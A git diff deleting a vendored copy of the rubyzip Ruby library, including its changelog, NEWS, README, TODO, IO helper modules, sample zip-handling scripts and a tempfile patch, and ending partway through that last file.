'RDoc compliant' - -2002-03-29 23:29 thomas - - * TODO: [no log message] - - * example.rb, samples/.cvsignore, samples/example.rb, - samples/gtkRubyzip.rb: Moved example.rb to samples/. Added - another sample gtkRubyzip.rb - - * NEWS, TODO, TODO: [no log message] - - * .cvsignore, file1.txt, file1.txt.deflatedData, testDirectory.bin, - ziptest.rb, test/.cvsignore, test/file1.txt, - test/file1.txt.deflatedData, test/file2.txt, - test/testDirectory.bin: Added test/ directory and moved the - manually created test data files into it. Changed ziptest.rb so - it runs in test/ directory - - * TODO: [no log message] - - * NEWS, zip.rb, ziptest.rb: Don't decompress and recompress zip - entries when changing zip file - - * zip.rb: Performance optimization: Only write new ZipFile, if it - has been changed. The test suite runs in half the time now. - -2002-03-28 22:12 thomas - - * TODO: [no log message] - -2002-03-23 17:31 thomas - - * TODO: [no log message] - -2002-03-22 22:47 thomas - - * NEWS: [no log message] - - * NEWS, TODO: [no log message] - - * ziptest.rb: Found the tests that didn't use blocks to make sure - input streams are closed as soon as they arent used anymore and - got rid of the GC.start - - * ziptest.rb: All tests run on windows ruby 1.6.6 - - * zip.rb, ziptest.rb: Windows fixes: Fixed ZipFile.initialize which - needed to open zipfile file in binary mode. Added another - workaround for the return value from File.open(name) where name - is the name of a directory - ruby returns different exceptions in - linux, win/cygwin and windows. A number of tests failed because - in windows you cant delete a file that is open. Fixed by changing - ziptest.rb to use ZipInputStream.getInputStream with blocks a few - places. There is a hack in CommanZipFileFixture.setup where the - GC is explicitly invoked. Should be fixed with blocks instead. - The only currently failing test fails because the test data - creation fails to add a comment to 4entry.zip, because echo eats - the remainder of the line including the pipe character and the - following zip -z 4 entry.zip command - -2002-03-21 22:18 thomas - - * NEWS: [no log message] - - * NEWS, README, TODO, install.rb: Added install.rb - - * ziptest.rb: [no log message] - - * NEWS, TODO: [no log message] - - * .cvsignore, TODO, zip.rb, ziptest.rb: Added - test_extractDirectoryExistsAsFileOverwrite and fixed to pass - - * zip.rb, ziptest.rb: Extraction of directory entries is now - supported - -2002-03-20 21:59 thomas - - * NEWS: [no log message] - - * COPYING, README, README.txt: Removed COPYING, renamed README.txt - to README. Updated README - - * example.rb: Fixed example.rb added example that shows zip file - manipulation with Zip::ZipFile - - * .cvsignore: [no log message] - - * TODO, zip.rb, ziptest.rb: Directories can now be added (not - recursively, the directory entry itself. Directories are - recognized by a empty entries with a trailing /. The purpose of - storing them explicitly in the zip file is to be able to store - permission and ownership information - - * TODO, zip.rb, ziptest.rb: zip.rb depended on ftools but it was - only included in ziptest.rb - - * zip.rb, ziptest.rb: ZipError is now a subclass of StandardError - instead of RuntimeError. ZipError now has several subclasses. - -2002-03-19 22:26 thomas - - * TODO: [no log message] - - * TODO, ziptest.rb: Unit test ZipFile.getInputStream with block - - * TODO, zip.rb, ziptest.rb: Unit test for adding new entry with - name that already exists in archive, and fixed to pass test - - * TODO, zip.rb, ziptest.rb: Added unit tests for rename to existing - entry - - * TODO: [no log message] - - * TODO, zip.rb, ziptest.rb: Unit test calling ZipFile.extract with - block - -2002-03-18 21:06 thomas - - * TODO: [no log message] - - * zip.rb, ziptest.rb: ZipFile#commit now reinitializes ZipFile. - - * TODO, zip.rb, ziptest.rb: Refactoring: - - Collapsed ZipEntry and ZipStreamableZipEntry into ZipEntry. - - Collapsed BasicZipFile and ZipFile into ZipFile. - - * zip.rb: Removed method that was never called - -2002-03-17 22:33 thomas - - * TODO: [no log message] - - * ziptest.rb: Run tests with =true as default - - * NEWS, TODO, zip.rb, ziptest.rb: Now runs with -w switch without - warnings - - * .cvsignore: [no log message] - - * zip.rb, ziptest.rb: Down to one failing test - - * zip.rb, ziptest.rb: [no log message] - - * TODO, zip.rb, ziptest.rb: [no log message] - -2002-02-25 19:42 thomas - - * TODO: Added more todos - -2002-02-23 15:51 thomas - - * zip.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - -2002-02-03 18:47 thomas - - * ziptest.rb: [no log message] - -2002-02-02 15:58 thomas - - * example.rb, zip.rb, ziptest.rb: [no log message] - - * .cvsignore: [no log message] - - * example.rb, zip.rb, ziptest.rb: Renamed SimpleZipFile to - BasicZipFile - - * TODO: [no log message] - - * ziptest.rb: More test cases - all of them failing, so now there - are 18 failing test cases. Three more test cases to implement, - then it is time for the production code - -2002-02-01 21:49 thomas - - * ziptest.rb: [no log message] - - * ziptest.rb: Also run SimpleZipFile tests for ZipFile. - - * example.rb, zip.rb, ziptest.rb: ZipFile renamed to SimpleZipFile. - The new ZipFile will have many more methods that are useful for - managing archives. - -2002-01-29 20:30 thomas - - * TODO: [no log message] - -2002-01-26 00:18 thomas - - * NEWS: [no log message] - - * ziptest.rb: In unit test: work around ruby/cygwin weirdness. You - get an Errno::EEXISTS instead of an Errno::EISDIR if you try to - open a file for writing that is a directory. - - * ziptest.rb: Fixed test that failed on windows because of CRLF - line ending - -2002-01-25 23:58 thomas - - * ziptest.rb: [no log message] - - * .cvsignore, example.rb, zip.rb: Fixed bug reading from empty - deflated entry in zip file - - * .cvsignore: [no log message] - - * ziptest.rb: [no log message] - - * NEWS, README.txt, zip.rb, ziptest.rb: Zip write support is now - fully functional in the form of ZipOutputStream. - - * zip.rb, ziptest.rb: [no log message] - - * zip.rb, ziptest.rb: [no log message] - -2002-01-20 16:00 thomas - - * zip.rb, ziptest.rb: Added Deflater and DeflaterTest. - - * .cvsignore: [no log message] - - * .cvsignore: Added .cvsignore file - - * zip.rb, ziptest.rb: Added ZipEntry.writeCDirEntry and misc minor - fixes - -2002-01-19 23:28 thomas - - * example.rb, zip.rb, ziptest.rb: NOTICE: Not all tests run!! - - ZipOutputStream in progress - - Wrapped rubyzip in namespace module Zip. - -2002-01-17 18:52 thomas - - * ziptest.rb: Fail nicely if the user doesn't have info-zip - compatible zip in the path - -2002-01-10 18:02 thomas - - * zip.rb: Adjusted chunk size to 32k after a few perf measurements - -2002-01-09 22:10 thomas - - * README.txt: License now same as rubys, not just GPL - -2002-01-06 00:19 thomas - - * README.txt: [no log message] - -2002-01-05 23:09 thomas - - * NEWS, README.txt, NEWS: Updated NEWS file - - * README.txt, zip.rb, ziptest.rb, zlib.c.diff: Added tests for - decompressors and a tests for ZipLocalEntry, - ZipCentralDirectoryEntry and ZipCentralDirectory for handling of - corrupt data - - * file1.txt.deflatedData: deflated data extracted from a zip file. - contains file1.txt - - * zip.rb: Changed references to Inflate to Zlib::inflate for - compatibility with ruby-zlib-0.5 - - * README.txt, zip.rb, ziptest.rb: [no log message] - - * example.rb, NEWS: [no log message] - - * COPYING, README.txt: [no log message] - - * ziptest.rb: Fixed problem with test file creation - - * README.txt: Updated README.txt - - * zip.rb, ziptest.rb: ZipFile now works - -2002-01-04 21:51 thomas - - * testDirectory.bin, zip.rb, ziptest.rb: - ZipCentralDirectoryEntryTest now runs - - * ziptest.rb: Changed - ZIpLocalNEtryTest::test_ReadLocalEntryHeaderOfFirstTestZipEntry - so it works on both unix too. It only worked on windows because - the test made assumptions about the compressed size and crc of an - entry, but that differs depending on the OS because of the CRLF - thing. - - * README.txt: Added note about zlib.c patch - -2002-01-02 18:48 thomas - - * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, - zlib.c.diff: initial - - * README.txt, example.rb, file1.txt, zip.rb, ziptest.rb, - zlib.c.diff: Initial revision - diff --git a/lib/zip/NEWS b/lib/zip/NEWS deleted file mode 100644 index a72956fd69..0000000000 --- a/lib/zip/NEWS +++ /dev/null @@ -1,162 +0,0 @@ -= Version 0.9.4 - -Changed ZipOutputStream.put_next_entry signature (API CHANGE!). Now -allows comment, extra field and compression method to be specified. - -= Version 0.9.3 - -Fixed: Added ZipEntry::name_encoding which retrieves the character -encoding of the name and comment of the entry. Also added convenience -methods ZipEntry::name_in(enc) and ZipEntry::comment_in(enc) for -getting zip entry names and comments in a specified character -encoding. - -= Version 0.9.2 - -Fixed: Renaming an entry failed if the entry's new name was a -different length than its old name. (Diego Barros) - -= Version 0.9.1 - -Added symlink support and support for unix file permissions. Reduced -memory usage during decompression. - -New methods ZipFile::[follow_symlinks, restore_times, restore_permissions, restore_ownership]. -New methods ZipEntry::unix_perms, ZipInputStream::eof?. -Added documentation and test for new ZipFile::extract. -Added some of the API suggestions from sf.net #1281314. -Applied patch for sf.net bug #1446926. -Applied patch for sf.net bug #1459902. -Rework ZipEntry and delegate classes. - -= Version 0.5.12 - -Fixed problem with writing binary content to a ZipFile in MS Windows. - -= Version 0.5.11 - -Fixed name clash file method copy_stream from fileutils.rb. Fixed -problem with references to constant CHUNK_SIZE. -ZipInputStream/AbstractInputStream read is now buffered like ruby IO's -read method, which means that read and gets etc can be mixed. The -unbuffered read method has been renamed to sysread. - -= Version 0.5.10 - -Fixed method name resolution problem with FileUtils::copy_stream and -IOExtras::copy_stream. - -= Version 0.5.9 - -Fixed serious memory consumption issue - -= Version 0.5.8 - -Fixed install script. - -= Version 0.5.7 - -install.rb no longer assumes it is being run from the toplevel source -dir. Directory structure changed to reflect common ruby library -project structure. Migrated from RubyUnit to Test::Unit format. Now -uses Rake to build source packages and gems and run unit tests. - -= Version 0.5.6 - -Fix for FreeBSD 4.9 which returns Errno::EFBIG instead of -Errno::EINVAL for some invalid seeks. Fixed 'version needed to -extract'-field incorrect in local headers. - -= Version 0.5.5 - -Fix for a problem with writing zip files that concerns only ruby 1.8.1. - -= Version 0.5.4 - -Significantly reduced memory footprint when modifying zip files. - -= Version 0.5.3 - -Added optimization to avoid decompressing and recompressing individual -entries when modifying a zip archive. - -= Version 0.5.2 - -Fixed ZipFile corruption bug in ZipFile class. Added basic unix -extra-field support. - -= Version 0.5.1 - -Fixed ZipFile.get_output_stream bug. - -= Version 0.5.0 - -List of changes: -* Ruby 1.8.0 and ruby-zlib 0.6.0 compatibility -* Changed method names from camelCase to rubys underscore style. -* Installs to zip/ subdir instead of directly to site_ruby -* Added ZipFile.directory and ZipFile.file - each method return an -object that can be used like Dir and File only for the contents of the -zip file. -* Added sample application zipfind which works like Find.find, only -Zip::ZipFind.find traverses into zip archives too. - -Bug fixes: -* AbstractInputStream.each_line with non-default separator - - -= Version 0.5.0a - -Source reorganized. Added ziprequire, which can be used to load ruby -modules from a zip file, in a fashion similar to jar files in -Java. Added gtkRubyzip, another sample application. Implemented -ZipInputStream.lineno and ZipInputStream.rewind - -Bug fixes: - -* Read and write date and time information correctly for zip entries. -* Fixed read() using separate buffer, causing mix of gets/readline/read to -cause problems. - -= Version 0.4.2 - -Performance optimizations. Test suite runs in half the time. - -= Version 0.4.1 - -Windows compatibility fixes. - -= Version 0.4.0 - -Zip::ZipFile is now mutable and provides a more convenient way of -modifying zip archives than Zip::ZipOutputStream. Operations for -adding, extracting, renaming, replacing and removing entries to zip -archives are now available. - -Runs without warnings with -w switch. - -Install script install.rb added. - - -= Version 0.3.1 - -Rudimentary support for writing zip archives. - - -= Version 0.2.2 - -Fixed and extended unit test suite. Updated to work with ruby/zlib -0.5. It doesn't work with earlier versions of ruby/zlib. - - -= Version 0.2.0 - -Class ZipFile added. Where ZipInputStream is used to read the -individual entries in a zip file, ZipFile reads the central directory -in the zip archive, so you can get to any entry in the zip archive -without having to skipping through all the preceeding entries. - - -= Version 0.1.0 - -First working version of ZipInputStream. diff --git a/lib/zip/README b/lib/zip/README deleted file mode 100644 index 79546e0b34..0000000000 --- a/lib/zip/README +++ /dev/null @@ -1,72 +0,0 @@ -= rubyzip - -rubyzip is a ruby library for reading and writing zip files. - -= Install - -If you have rubygems you can install rubyzip directly from the gem -repository - - gem install rubyzip - -Otherwise obtain the source (see below) and run - - ruby install.rb - -To run the unit tests you need to have test::unit installed - - rake test - - -= Documentation - -There is more than one way to access or create a zip archive with -rubyzip. The basic API is modeled after the classes in -java.util.zip from the Java SDK. This means there are classes such -as Zip::ZipInputStream, Zip::ZipOutputStream and -Zip::ZipFile. Zip::ZipInputStream provides a basic interface for -iterating through the entries in a zip archive and reading from the -entries in the same way as from a regular File or IO -object. ZipOutputStream is the corresponding basic output -facility. Zip::ZipFile provides a mean for accessing the archives -central directory and provides means for accessing any entry without -having to iterate through the archive. Unlike Java's -java.util.zip.ZipFile rubyzip's Zip::ZipFile is mutable, which means -it can be used to change zip files as well. - -Another way to access a zip archive with rubyzip is to use rubyzip's -Zip::ZipFileSystem API. Using this API files can be read from and -written to the archive in much the same manner as ruby's builtin -classes allows files to be read from and written to the file system. - -rubyzip also features the -zip/ziprequire.rb[link:files/lib/zip/ziprequire_rb.html] module which -allows ruby to load ruby modules from zip archives. - -For details about the specific behaviour of classes and methods refer -to the test suite. Finally you can generate the rdoc documentation or -visit http://rubyzip.sourceforge.net. - -= License - -rubyzip is distributed under the same license as ruby. See -http://www.ruby-lang.org/en/LICENSE.txt - - -= Website and Project Home - -http://rubyzip.sourceforge.net - -http://sourceforge.net/projects/rubyzip - -== Download (tarballs and gems) - -http://sourceforge.net/project/showfiles.php?group_id=43107&package_id=35377 - -= Authors - -Thomas Sondergaard (thomas at sondergaard.cc) - -Technorama Ltd. (oss-ruby-zip at technorama.net) - -extra-field support contributed by Tatsuki Sugiura (sugi at nemui.org) \ No newline at end of file diff --git a/lib/zip/TODO b/lib/zip/TODO deleted file mode 100644 index e24cde5779..0000000000 --- a/lib/zip/TODO +++ /dev/null @@ -1,16 +0,0 @@ - -* ZipInputStream: Support zip-files with trailing data descriptors -* Adjust rdoc stylesheet to advertise inherited methods if possible -* Suggestion: Add ZipFile/ZipInputStream example that demonstrates extracting all entries. -* Suggestion: ZipFile#extract destination should default to "." -* Suggestion: ZipEntry should have extract(), get_input_stream() methods etc -* SUggestion: ZipInputStream/ZipOutputStream should accept an IO object in addition to a filename. -* (is buffering used anywhere with write?) -* Inflater.sysread should pass the buffer to produce_input. -* Implement ZipFsDir.glob -* ZipFile.checkIntegrity method -* non-MSDOS permission attributes -** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* Packager version, required unpacker version in zip headers -** See mail from Ned Konz to ruby-talk subj. "Re: SV: [ANN] Archive 0.2" -* implement storing attributes and ownership information diff --git a/lib/zip/ioextras.rb b/lib/zip/ioextras.rb deleted file mode 100644 index c611535791..0000000000 --- a/lib/zip/ioextras.rb +++ /dev/null @@ -1,165 +0,0 @@ -module IOExtras #:nodoc: - - CHUNK_SIZE = 131072 - - RANGE_ALL = 0..-1 - - def self.copy_stream(ostream, istream) - s = '' - ostream.write(istream.read(CHUNK_SIZE, s)) until istream.eof? - end - - def self.copy_stream_n(ostream, istream, nbytes) - s = '' - toread = nbytes - while (toread > 0 && ! istream.eof?) - tr = toread > CHUNK_SIZE ? CHUNK_SIZE : toread - ostream.write(istream.read(tr, s)) - toread -= tr - end - end - - - # Implements kind_of? in order to pretend to be an IO object - module FakeIO - def kind_of?(object) - object == IO || super - end - end - - # Implements many of the convenience methods of IO - # such as gets, getc, readline and readlines - # depends on: input_finished?, produce_input and read - module AbstractInputStream - include Enumerable - include FakeIO - - def initialize - super - @lineno = 0 - @outputBuffer = "" - end - - attr_accessor :lineno - - def read(numberOfBytes = nil, buf = nil) - tbuf = nil - - if @outputBuffer.length > 0 - if numberOfBytes <= @outputBuffer.length - tbuf = @outputBuffer.slice!(0, numberOfBytes) - else - numberOfBytes -= @outputBuffer.length if (numberOfBytes) - rbuf = sysread(numberOfBytes, buf) - tbuf = @outputBuffer - tbuf << rbuf if (rbuf) - @outputBuffer = "" - end - else - tbuf = sysread(numberOfBytes, buf) - end - - return nil unless (tbuf) - - if buf - buf.replace(tbuf) - else - buf = tbuf - end - - buf - end - - def readlines(aSepString = $/) - retVal = [] - each_line(aSepString) { |line| retVal << line } - return retVal - end - - def gets(aSepString=$/) - @lineno = @lineno.next - return read if aSepString == nil - aSepString="#{$/}#{$/}" if aSepString == "" - - bufferIndex=0 - while ((matchIndex = @outputBuffer.index(aSepString, bufferIndex)) == nil) - bufferIndex=@outputBuffer.length - if input_finished? - return @outputBuffer.empty? ? nil : flush - end - @outputBuffer << produce_input - end - sepIndex=matchIndex + aSepString.length - return @outputBuffer.slice!(0...sepIndex) - end - - def flush - retVal=@outputBuffer - @outputBuffer="" - return retVal - end - - def readline(aSepString = $/) - retVal = gets(aSepString) - raise EOFError if retVal == nil - return retVal - end - - def each_line(aSepString = $/) - while true - yield readline(aSepString) - end - rescue EOFError - end - - alias_method :each, :each_line - end - - - # Implements many of the output convenience methods of IO. - # relies on << - module AbstractOutputStream - include FakeIO - - def write(data) - self << data - data.to_s.length - end - - - def print(*params) - self << params.join << $\.to_s - end - - def printf(aFormatString, *params) - self << sprintf(aFormatString, *params) - end - - def putc(anObject) - self << case anObject - when Fixnum then anObject.chr - when String then anObject - else raise TypeError, "putc: Only Fixnum and String supported" - end - anObject - end - - def puts(*params) - params << "\n" if params.empty? - params.flatten.each { - |element| - val = element.to_s - self << val - self << "\n" unless val[-1,1] == "\n" - } - end - - end - -end # IOExtras namespace module - - - -# Copyright (C) 2002-2004 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/example.rb b/lib/zip/samples/example.rb deleted file mode 100755 index 741afa765e..0000000000 --- a/lib/zip/samples/example.rb +++ /dev/null @@ -1,69 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" -system("zip example.zip example.rb gtkRubyzip.rb") - -require 'zip/zip' - -####### Using ZipInputStream alone: ####### - -Zip::ZipInputStream.open("example.zip") { - |zis| - entry = zis.get_next_entry - print "First line of '#{entry.name} (#{entry.size} bytes): " - puts "'#{zis.gets.chomp}'" - entry = zis.get_next_entry - print "First line of '#{entry.name} (#{entry.size} bytes): " - puts "'#{zis.gets.chomp}'" -} - - -####### Using ZipFile to read the directory of a zip file: ####### - -zf = Zip::ZipFile.new("example.zip") -zf.each_with_index { - |entry, index| - - puts "entry #{index} is #{entry.name}, size = #{entry.size}, compressed size = #{entry.compressed_size}" - # use zf.get_input_stream(entry) to get a ZipInputStream for the entry - # entry can be the ZipEntry object or any object which has a to_s method that - # returns the name of the entry. -} - - -####### Using ZipOutputStream to write a zip file: ####### - -Zip::ZipOutputStream.open("exampleout.zip") { - |zos| - zos.put_next_entry("the first little entry") - zos.puts "Hello hello hello hello hello hello hello hello hello" - - zos.put_next_entry("the second little entry") - zos.puts "Hello again" - - # Use rubyzip or your zip client of choice to verify - # the contents of exampleout.zip -} - -####### Using ZipFile to change a zip file: ####### - -Zip::ZipFile.open("exampleout.zip") { - |zf| - zf.add("thisFile.rb", "example.rb") - zf.rename("thisFile.rb", "ILikeThisName.rb") - zf.add("Again", "example.rb") -} - -# Lets check -Zip::ZipFile.open("exampleout.zip") { - |zf| - puts "Changed zip file contains: #{zf.entries.join(', ')}" - zf.remove("Again") - puts "Without 'Again': #{zf.entries.join(', ')}" -} - -# For other examples, look at zip.rb and ziptest.rb - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/example_filesystem.rb b/lib/zip/samples/example_filesystem.rb deleted file mode 100755 index 0cacbd2aa2..0000000000 --- a/lib/zip/samples/example_filesystem.rb +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -require 'zip/zipfilesystem' - -EXAMPLE_ZIP = "filesystem.zip" - -File.delete(EXAMPLE_ZIP) if File.exists?(EXAMPLE_ZIP) - -Zip::ZipFile.open(EXAMPLE_ZIP, Zip::ZipFile::CREATE) { - |zf| - zf.file.open("file1.txt", "w") { |os| os.write "first file1.txt" } - zf.dir.mkdir("dir1") - zf.dir.chdir("dir1") - zf.file.open("file1.txt", "w") { |os| os.write "second file1.txt" } - puts zf.file.read("file1.txt") - puts zf.file.read("../file1.txt") - zf.dir.chdir("..") - zf.file.open("file2.txt", "w") { |os| os.write "first file2.txt" } - puts "Entries: #{zf.entries.join(', ')}" -} - -Zip::ZipFile.open(EXAMPLE_ZIP) { - |zf| - puts "Entries from reloaded zip: #{zf.entries.join(', ')}" -} - -# For other examples, look at zip.rb and ziptest.rb - -# Copyright (C) 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/samples/gtkRubyzip.rb b/lib/zip/samples/gtkRubyzip.rb deleted file mode 100755 index 0b63485d5b..0000000000 --- a/lib/zip/samples/gtkRubyzip.rb +++ /dev/null @@ -1,86 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -$VERBOSE = true - -require 'gtk' -require 'zip/zip' - -class MainApp < Gtk::Window - def initialize - super() - set_usize(400, 256) - set_title("rubyzip") - signal_connect(Gtk::Window::SIGNAL_DESTROY) { Gtk.main_quit } - - box = Gtk::VBox.new(false, 0) - add(box) - - @zipfile = nil - @buttonPanel = ButtonPanel.new - @buttonPanel.openButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - show_file_selector - } - @buttonPanel.extractButton.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - puts "Not implemented!" - } - box.pack_start(@buttonPanel, false, false, 0) - - sw = Gtk::ScrolledWindow.new - sw.set_policy(Gtk::POLICY_AUTOMATIC, Gtk::POLICY_AUTOMATIC) - box.pack_start(sw, true, true, 0) - - @clist = Gtk::CList.new(["Name", "Size", "Compression"]) - @clist.set_selection_mode(Gtk::SELECTION_BROWSE) - @clist.set_column_width(0, 120) - @clist.set_column_width(1, 120) - @clist.signal_connect(Gtk::CList::SIGNAL_SELECT_ROW) { - |w, row, column, event| - @selected_row = row - } - sw.add(@clist) - end - - class ButtonPanel < Gtk::HButtonBox - attr_reader :openButton, :extractButton - def initialize - super - set_layout(Gtk::BUTTONBOX_START) - set_spacing(0) - @openButton = Gtk::Button.new("Open archive") - @extractButton = Gtk::Button.new("Extract entry") - pack_start(@openButton) - pack_start(@extractButton) - end - end - - def show_file_selector - @fileSelector = Gtk::FileSelection.new("Open zip file") - @fileSelector.show - @fileSelector.ok_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - open_zip(@fileSelector.filename) - @fileSelector.destroy - } - @fileSelector.cancel_button.signal_connect(Gtk::Button::SIGNAL_CLICKED) { - @fileSelector.destroy - } - end - - def open_zip(filename) - @zipfile = Zip::ZipFile.open(filename) - @clist.clear - @zipfile.each { - |entry| - @clist.append([ entry.name, - entry.size.to_s, - (100.0*entry.compressedSize/entry.size).to_s+"%" ]) - } - end -end - -mainApp = MainApp.new() - -mainApp.show_all - -Gtk.main diff --git a/lib/zip/samples/qtzip.rb b/lib/zip/samples/qtzip.rb deleted file mode 100755 index 3d76bd18e8..0000000000 --- a/lib/zip/samples/qtzip.rb +++ /dev/null @@ -1,101 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE=true - -$: << "../lib" - -require 'Qt' -system('rbuic -o zipdialogui.rb zipdialogui.ui') -require 'zipdialogui.rb' -require 'zip/zip' - - - -a = Qt::Application.new(ARGV) - -class ZipDialog < ZipDialogUI - - - def initialize() - super() - connect(child('add_button'), SIGNAL('clicked()'), - self, SLOT('add_files()')) - connect(child('extract_button'), SIGNAL('clicked()'), - self, SLOT('extract_files()')) - end - - def zipfile(&proc) - Zip::ZipFile.open(@zip_filename, &proc) - end - - def each(&proc) - Zip::ZipFile.foreach(@zip_filename, &proc) - end - - def refresh() - lv = child("entry_list_view") - lv.clear - each { - |e| - lv.insert_item(Qt::ListViewItem.new(lv, e.name, e.size.to_s)) - } - end - - - def load(zipfile) - @zip_filename = zipfile - refresh - end - - def add_files - l = Qt::FileDialog.getOpenFileNames(nil, nil, self) - zipfile { - |zf| - l.each { - |path| - zf.add(File.basename(path), path) - } - } - refresh - end - - def extract_files - selected_items = [] - unselected_items = [] - lv_item = entry_list_view.first_child - while (lv_item) - if entry_list_view.is_selected(lv_item) - selected_items << lv_item.text(0) - else - unselected_items << lv_item.text(0) - end - lv_item = lv_item.next_sibling - end - puts "selected_items.size = #{selected_items.size}" - puts "unselected_items.size = #{unselected_items.size}" - items = selected_items.size > 0 ? selected_items : unselected_items - puts "items.size = #{items.size}" - - d = Qt::FileDialog.get_existing_directory(nil, self) - if (!d) - puts "No directory chosen" - else - zipfile { |zf| items.each { |e| zf.extract(e, File.join(d, e)) } } - end - - end - - slots 'add_files()', 'extract_files()' -end - -if !ARGV[0] - puts "usage: #{$0} zipname" - exit -end - -zd = ZipDialog.new -zd.load(ARGV[0]) - -a.mainWidget = zd -zd.show() -a.exec() diff --git a/lib/zip/samples/write_simple.rb b/lib/zip/samples/write_simple.rb deleted file mode 100755 index 648989a2ca..0000000000 --- a/lib/zip/samples/write_simple.rb +++ /dev/null @@ -1,13 +0,0 @@ -#!/usr/bin/env ruby - -$: << "../lib" - -require 'zip/zip' - -include Zip - -ZipOutputStream.open('simple.zip') { - |zos| - ze = zos.put_next_entry 'entry.txt' - zos.puts "Hello world" -} diff --git a/lib/zip/samples/zipfind.rb b/lib/zip/samples/zipfind.rb deleted file mode 100755 index 5a9d84ec1c..0000000000 --- a/lib/zip/samples/zipfind.rb +++ /dev/null @@ -1,74 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'zip/zip' -require 'find' - -module Zip - module ZipFind - def self.find(path, zipFilePattern = /\.zip$/i) - Find.find(path) { - |fileName| - yield(fileName) - if zipFilePattern.match(fileName) && File.file?(fileName) - begin - Zip::ZipFile.foreach(fileName) { - |zipEntry| - yield(fileName + File::SEPARATOR + zipEntry.to_s) - } - rescue Errno::EACCES => ex - puts ex - end - end - } - end - - def self.find_file(path, fileNamePattern, zipFilePattern = /\.zip$/i) - self.find(path, zipFilePattern) { - |fileName| - yield(fileName) if fileNamePattern.match(fileName) - } - end - - end -end - -if __FILE__ == $0 - module ZipFindConsoleRunner - - PATH_ARG_INDEX = 0; - FILENAME_PATTERN_ARG_INDEX = 1; - ZIPFILE_PATTERN_ARG_INDEX = 2; - - def self.run(args) - check_args(args) - Zip::ZipFind.find_file(args[PATH_ARG_INDEX], - args[FILENAME_PATTERN_ARG_INDEX], - args[ZIPFILE_PATTERN_ARG_INDEX]) { - |fileName| - report_entry_found fileName - } - end - - def self.check_args(args) - if (args.size != 3) - usage - exit - end - end - - def self.usage - puts "Usage: #{$0} PATH ZIPFILENAME_PATTERN FILNAME_PATTERN" - end - - def self.report_entry_found(fileName) - puts fileName - end - - end - - ZipFindConsoleRunner.run(ARGV) -end diff --git a/lib/zip/stdrubyext.rb b/lib/zip/stdrubyext.rb deleted file mode 100644 index 833365dbca..0000000000 --- a/lib/zip/stdrubyext.rb +++ /dev/null @@ -1,111 +0,0 @@ -unless Enumerable.method_defined?(:inject) - module Enumerable #:nodoc:all - def inject(n = 0) - each { |value| n = yield(n, value) } - n - end - end -end - -module Enumerable #:nodoc:all - # returns a new array of all the return values not equal to nil - # This implementation could be faster - def select_map(&aProc) - map(&aProc).reject { |e| e.nil? } - end -end - -unless Object.method_defined?(:object_id) - class Object #:nodoc:all - # Using object_id which is the new thing, so we need - # to make that work in versions prior to 1.8.0 - alias object_id id - end -end - -unless File.respond_to?(:read) - class File # :nodoc:all - # singleton method read does not exist in 1.6.x - def self.read(fileName) - open(fileName) { |f| f.read } - end - end -end - -class String #:nodoc:all - def starts_with(aString) - rindex(aString, 0) == 0 - end - - def ends_with(aString) - index(aString, -aString.size) - end - - def ensure_end(aString) - ends_with(aString) ? self : self + aString - end - - def lchop - slice(1, length) - end -end - -class Time #:nodoc:all - - #MS-DOS File Date and Time format as used in Interrupt 21H Function 57H: - # - # Register CX, the Time: - # Bits 0-4 2 second increments (0-29) - # Bits 5-10 minutes (0-59) - # bits 11-15 hours (0-24) - # - # Register DX, the Date: - # Bits 0-4 day (1-31) - # bits 5-8 month (1-12) - # bits 9-15 year (four digit year minus 1980) - - - def to_binary_dos_time - (sec/2) + - (min << 5) + - (hour << 11) - end - - def to_binary_dos_date - (day) + - (month << 5) + - ((year - 1980) << 9) - end - - # Dos time is only stored with two seconds accuracy - def dos_equals(other) - to_i/2 == other.to_i/2 - end - - def self.parse_binary_dos_format(binaryDosDate, binaryDosTime) - second = 2 * ( 0b11111 & binaryDosTime) - minute = ( 0b11111100000 & binaryDosTime) >> 5 - hour = (0b1111100000000000 & binaryDosTime) >> 11 - day = ( 0b11111 & binaryDosDate) - month = ( 0b111100000 & binaryDosDate) >> 5 - year = ((0b1111111000000000 & binaryDosDate) >> 9) + 1980 - begin - return Time.local(year, month, day, hour, minute, second) - end - end -end - -class Module #:nodoc:all - def forward_message(forwarder, *messagesToForward) - methodDefs = messagesToForward.map { - |msg| - "def #{msg}; #{forwarder}(:#{msg}); end" - } - module_eval(methodDefs.join("\n")) - end -end - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/tempfile_bugfixed.rb b/lib/zip/tempfile_bugfixed.rb deleted file mode 100644 index a04c59e2dc..0000000000 --- a/lib/zip/tempfile_bugfixed.rb +++ /dev/null @@ -1,195 +0,0 @@ -# -# tempfile - manipulates temporary files -# -# $Id$ -# - -require 'delegate' -require 'tmpdir' - -module BugFix #:nodoc:all - -# A class for managing temporary files. This library is written to be -# thread safe. -class Tempfile < DelegateClass(File) - MAX_TRY = 10 - @@cleanlist = [] - - # Creates a temporary file of mode 0600 in the temporary directory - # whose name is basename.pid.n and opens with mode "w+". A Tempfile - # object works just like a File object. - # - # If tmpdir is omitted, the temporary directory is determined by - # Dir::tmpdir provided by 'tmpdir.rb'. - # When $SAFE > 0 and the given tmpdir is tainted, it uses - # /tmp. (Note that ENV values are tainted by default) - def initialize(basename, tmpdir=Dir::tmpdir) - if $SAFE > 0 and tmpdir.tainted? - tmpdir = '/tmp' - end - - 